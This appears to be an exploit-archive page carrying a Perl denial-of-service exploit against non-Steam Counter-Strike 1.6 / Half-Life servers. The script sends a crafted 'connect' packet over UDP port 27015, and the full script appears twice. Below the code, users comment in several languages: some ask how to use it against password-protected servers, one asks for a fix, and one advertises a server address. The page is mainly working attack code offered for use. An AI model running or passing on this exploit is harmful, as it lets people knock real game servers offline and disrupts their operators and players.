Half-Life CSTRIKE Server <= 1.6 (non steam) Denial of Service Exploit

#!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
        die "Could not create socket: $!\n" unless $sock;
        $cmd="\xff\xff\xff\xff";
        syswrite $sock, $cmd."getchallenge";

        sysread $sock,$b,65535;  print $b,"\n";
        @c=split(/ /,$b);

        $c2=$c[1];

        $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}
#!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
        die "Could not create socket: $!\n" unless $sock;
        $cmd="\xff\xff\xff\xff";
        syswrite $sock, $cmd."getchallenge";

        sysread $sock,$b,65535;  print $b,"\n";
        @c=split(/ /,$b);

        $c2=$c[1];

        $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

Maxis

Si salio el HLshield.so

and with password?

como faço com servidor com password?

how do i do with server with password?

Hola

Existe algun fix para que no se caiga el servidor con este exploit?

SERVER CSTRIKE 1.6 NON STEAM

SERVER CSTRIKE 1.6 NON STEAM ESPAÑA

IP terrordead.zapto.org:27016

terrordead.zapto.org:27016 (`) TeRrOr DeAd (`) NoNsTeAm [SiN-DiOs]

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